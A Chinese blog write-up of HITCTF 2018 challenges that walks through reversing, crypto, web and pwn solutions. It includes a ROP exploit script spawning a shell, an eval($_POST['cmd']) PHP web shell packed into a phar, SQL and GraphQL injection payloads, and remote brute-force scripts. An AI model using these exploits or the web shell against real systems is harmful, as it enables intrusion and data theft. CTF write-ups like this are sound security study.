kir[A]'s 小黑屋

HITCTF2018-writeup

字数统计: 2.6k阅读时长: 14 min
2018/02/05 Share

easy_xor.apk

1
2
3
4
a='kmqgwg]Tm3=NE_/4ouKJW@WE^'
b='#$%$#!&#^_^~(:p@_*#######'
c = [chr(ord(x)^ord(y)) for x,y in zip(a,b)]
print ''.join(c)

简单xor即可:HITCTF{w3lc0me_t0_hitctf}

stackflow

1
2
3
4
5
6
7
8
9
int vuln()
{
char buf; // [esp+0h] [ebp-28h]

puts("Welcome to pwn world!\nLeave your name:");
fflush(stdout);
read(0, &buf, 0x40u);
return puts("bye~");
}

简单栈溢出后ROP,程序自带可以cat flag的函数,其实也可以用system('/bin/sh\0')

1
2
3
4
5
6
7
8
9
int __cdecl flag(int a1, int a2)
{
if ( a1 != 0xDEADBEEF )
CheckFailed();
command = "cat flag";
if ( a2 != 0xC0FFEE )
CheckFailed();
return system(command);
}

注意bss中有stdout参数,不能直接写bss+4的位置,fflush(stdout)会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf-8
from pwn import *
context(arch = 'i386', os = 'linux')
LOCAL = 1
target = 'stackoverflow'
remote_addr = 'pwn.sniperoj.cn'
remote_port = 30006

if LOCAL:
p = process('./'+target)
else:
p = remote(remote_addr,remote_port)

elf = ELF('./'+target)
offset= 44
read_addr = elf.symbols['read']
vuln_addr = elf.symbols['vuln']
sys = elf.symbols['system']
bss = 0x804A04c #bss+12
#payload = offset*'a' + p32(flag_addr) + p32(0) +p32(0xdeadbeef)+p32(0xc0ffee)
payload = offset*'a' + p32(read_addr) + p32(vuln_addr) +p32(0)+p32(bss)+p32(8)
print len(payload)
p.send(payload)
payload='/bin/sh\0'
p.send(payload)
payload = offset*'a' + p32(sys) + p32(vuln_addr)+p32(bss)
p.send(payload)
p.interactive()

BaSO4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import random
import os
import sys
with open('flag.txt', 'r') as file:
flag = file.read()
for i in range(0, 20):
if random.randint(0, 1):
flag = base64.b64encode(flag)
continue
flag = base64.b32encode(flag)

with open('flag_encode.txt', 'w') as file:
file.write(flag)

20次随机base64或base32编码,手工一下就行了

单表替换

手工替换即可,注意俄文也有分大小写的,原文是Gone with the wind

BabyInjection

1
2
3
4
5
6
7
8
9
10
11
12
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
$query = "SELECT * FROM users WHERE username='{$username}';";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);

弱类型绕过passwd的判断,用with rollup;由于过滤了limit,可以用having passwd is null解决。

学习资料的密码

1
2
3
4
5
6
puts("Give me your key:");
v7 = (char *)calloc(1u, 0x32u);
myRead(v7);
v6 = basen(v7);
if ( !strcmp(v6, &v4) )
puts("You've got my base :)");

题目提供了加密后的flag,程序对输入进行运算后与加密内容比较,看看加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for ( i = 0; i < v19 - v19 % 3; i += 3 )
{
v1 = v22;
v2 = v22 + 1;
v20[v1] = chart[(a1[i] >> 5) & 7];
v3 = v2++;
v20[v3] = chart[(a1[i] >> 2) & 7];
v4 = v2++;
v20[v4] = chart[2 * a1[i] & 6 | (a1[i + 1] >> 7) & 1];
v5 = v2++;
v20[v5] = chart[(a1[i + 1] >> 4) & 7];
v6 = v2++;
v20[v6] = chart[(a1[i + 1] >> 1) & 7];
v7 = v2++;
v20[v7] = chart[4 * a1[i + 1] & 4 | (a1[i + 2] >> 6) & 3];
v20[v2] = chart[(a1[i + 2] >> 3) & 7];
v8 = v2 + 1;
v22 = v2 + 2;
v20[v8] = chart[a1[i + 2] & 7];
}

重点在这段代码,算法是将3为明文转换成8位,多出来的位运算后面还有,但不重要。密文是67位,67%8=3,重点解决前面22位OK了。算法不难,可以直接进行每3位爆破,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
a1 = 'llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l'
chart = 'W3lc0me!'
def f(s):
tmp = ''
tmp += chart[(ord(s[0])>>5)&7]
tmp += chart[(ord(s[0])>>2)&7]
tmp += chart[2 * ord(s[0]) & 6 | (ord(s[1]) >> 7) & 1]
tmp += chart[(ord(s[1]) >> 4) & 7]
tmp += chart[(ord(s[1]) >> 1) & 7]
tmp += chart[4 * ord(s[1]) & 4 | (ord(s[2]) >> 6) & 3]
tmp += chart[(ord(s[2]) >> 3) & 7]
tmp += chart[ord(s[2]) & 7]
return tmp

def foo(n):
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
t = chr(i)+chr(j)+chr(k)
if f(t) == a1[n*8:n*8+8]:
return t

flag = ''
for _ in range(0,8):
flag += foo(_)
print flag #HITCTF{3asy_b4se_3ight:)}

BabyWrite

主页存在文件包含,可查看源代码
http://120.24.215.80:10012/?page=php://filter/read=convert.base64-encode/resource=login

login.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
<head>
<title>CTF</title>
</head>
<body>

登陆解锁更多功能
<form action="login.php" method="POST">
用户名 : <input name="username" placeholder="username"><br/>
å¯†ç  : <input name="password" placeholder="password"><br/><br/>
<input type="submit" value="登陆">
</form>
</body>
</html>

<?php
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);

}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
?>

包含config.php有admin的hash

1
$admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";

思路:你用输入的username和password,写入log,然后文件包含,本题中间用了=>做连接,预期解法用phar。需要修改php.ini的配置,去掉phar.readonly注释并改成off

1.phar生成时,php文件带有=>关键字,建一个c文件夹,里面放一句话

1
2
3
4
5
6
<?php
$phar = new Phar('c.phar', 0, 'c.phar');
$phar->buildFromDirectory('./c');
$phar->setStub($phar->createDefaultStub('e.php', ' => .php'));
$phar->compressFiles(Phar::GZ);
?>

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import urllib

s = " => "
host = "120.24.215.80"
port = 10012
url = "http://%s:%d/login.php?debug=hitctf" % (host, port)
content = open('c.phar','rb').read()
username = content[:15]
password = content[15 + len(s):]
print "[+] User : [%s]" % (urllib.quote(username))
data = {"username":username,"password":password}
response = requests.post(url, data=data)
print response.content
print "[+] http://%s:%d/?page=phar://log/%s.log/c&c=phpinfo();" % (host, port, urllib.quote(username))

2.直接传phar,由于开头加了东西,需要修改phar包的校验值。(http://php.net/manual/en/phar.fileformat.signature.php)

1
2
3
4
5
<?php
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>

留意最后28个字节,最后4字节是固定标识,倒数4-8字节是hash类型,这里是0x02代表sha1,由于开头会增加字节,删掉最后28字节,加上增加的开头,重新计算sha1。

1
2
3
4
5
def getSha1(filename): 
sha1Obj = sha1()
with open(filename, 'rb') as f:
sha1Obj.update(f.read())
return sha1Obj.hexdigest()

SecurePY

可参考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

http://123.206.83.157:8000/pycache/app.cpython-35.pyc反编译得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'

def index():
return render_template('index.html', flag_enc = flag_enc)

index = app.route('/')(index)

def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = None['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y): #注意这里,可以通过这里报错来确定key长度
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)

getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()

对于None类型,ord(None)会崩溃掉。

1
2
3
4
5
>>> key = [None,None]
>>> ord(key[1])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: ord() expected string of length 1, but NoneType found

JSON里面null会在python里面转换成none。

当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(15个null)时:false

当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(16个null)时:500 Internal Server Error,可以确定key为16位

同样,我们可以利用false和500报错来逐位爆破key

当POST数据为{"key":["a",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(16个null)时:false

当POST数据为{"key":["5",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}(16个null)时:500 Internal Server Error

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = "http://123.206.83.157:8000/getflag"
proxy = {'http':"127.0.0.1:8080"}
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
for index in range(16):
for i in range(32,127):
key[index] = str(chr(i))
payload = {"key":key}
text = requests.post(url,json=payload,proxies=proxy).text
if "500 Internal Server Error" in text :
print("".join(key[:index+1]))
break
if "true" in text:
print("".join(key))
exit() #5ecur3pPYpyPYk3y

BabyQuery

抓包看一下post的数据,是graphql,一个查询API,编码是base32

1
query={ getscorebyid(id: "GE======"){ id name score } }

随便改一下getscorebyxx,可以看到报错发现还有getscorebyyourname

1
[GraphQLError('Cannot query field "getscoreby222" on type "Query". Did you mean "getscorebyid" or "getscorebyyourname"?',)]

测试发现id只能1位数,那么只能从那么入手,写个代码测试注入,hackbar无base32比较麻烦

1
2
3
4
5
6
7
from  base64 import b32encode
import requests
url = "http://182.254.247.127:3001/graphql"
payload = "1' or '1'='1"
q = '{ getscorebyyourname(name: "%s"){ name score } }'%(b32encode(payload))
r = requests.post(url=url,data={"query" : q})
print r.content

测试发现存在注入,payload = "1' union select 1-- "返回

1
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select 1-- "), (u'score', '1')]))])

常用套路测试payload = "1' union select database()-- ",发现不是mysql,是sqlite。先爆一下表:

1
2
payload = "-1' UNION ALL SELECT name FROM sqlite_master WHERE type=\"table\" limit 1,1--"
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', '-1\' UNION ALL SELECT name FROM sqlite_master WHERE type="table" limit 1,1--'), (u'score', 'Secr3t_fl4g')]))])

发现fSecr3t_fl4g表了,搞掂~

1
2
payload = "-1' UNION ALL SELECT * from Secr3t_fl4g--"
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "-1' UNION ALL SELECT * from Secr3t_fl4g--"), (u'score', 'HITCTF{fee26d3a146a404e106b1ed93156f30e}')]))])

login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int v4; // [esp+Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("Welcome to 7HxzZ login system!");
v4 = login();
if ( v4 )
{
if ( v4 == 16 )
{
puts("Login successful\nBut you have no permission to get the flag!");
exit(0);
}
puts("Login failed!");
exit(0);
}
puts("How can you login successful as root!\nThere must be something wrong with the login function,let me check again!");
puts("Checking......");
if ( check() <= 1 )
{
puts("Don't fool me, you are not the true root user!");
exit(0);
}
printf("This is your flag: ");
return system("cat flag");
}

要求输入用户名和密码,需要使用root登录,来看一下login()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed int login()
{
signed int v1; // [esp+4h] [ebp-14h]
int n; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]

v1 = 255;
printf("Username: ");
n = read_input_raw((int)username, 16);
printf("Password: ");
v3 = read_input_raw((int)password, 32);
if ( !strncmp(username, "root", n) && !strncmp(password, "passwd_has_be_changed_in_remote_", v3) )
return 0;
...
return v1;
}

这里的密码比较有问题,你输入多少位,就比较多少位,例如你只输入一位,那么就只比较第一位是不是跟root密码一样。这里可以绕过,后面还有一个check()

1
2
3
4
5
6
7
8
9
signed int check()
{
...
if ( !strncmp(password, "passwd_has_be_changed_in_remote_", 0x20u) )
{
puts("Correct password!");
++v1;
...
}

这里的密码比较就是固定32位,可以猜想真正密码是32位,可以利用login()进行逐位爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

def login(x):
global password
print 'password' + chr(x)
p = remote('111.230.132.82', 40001)
p.recvuntil('Username:')
p.sendline('root')
p.recvuntil('Password: ')
p.sendline(password+chr(x))
a = p.recvline()
print a
if 'successful' in a:
p.close()
return 1
else:
p.close()
return 0

def foo():
global password
for i in range(32):
for j in range(32,127):
if login(j):
password += chr(j)
print 'password:',password
break

password = '' #10_adhUNwj_qidACn_qdXon912_uhdq6
foo()

CATALOG
  1. 1. easy_xor.apk
  2. 2. stackflow
  3. 3. BaSO4
  4. 4. 单表替换
  5. 5. BabyInjection
  6. 6. 学习资料的密码
  7. 7. BabyWrite
  8. 8. SecurePY
  9. 9. BabyQuery
  10. 10. login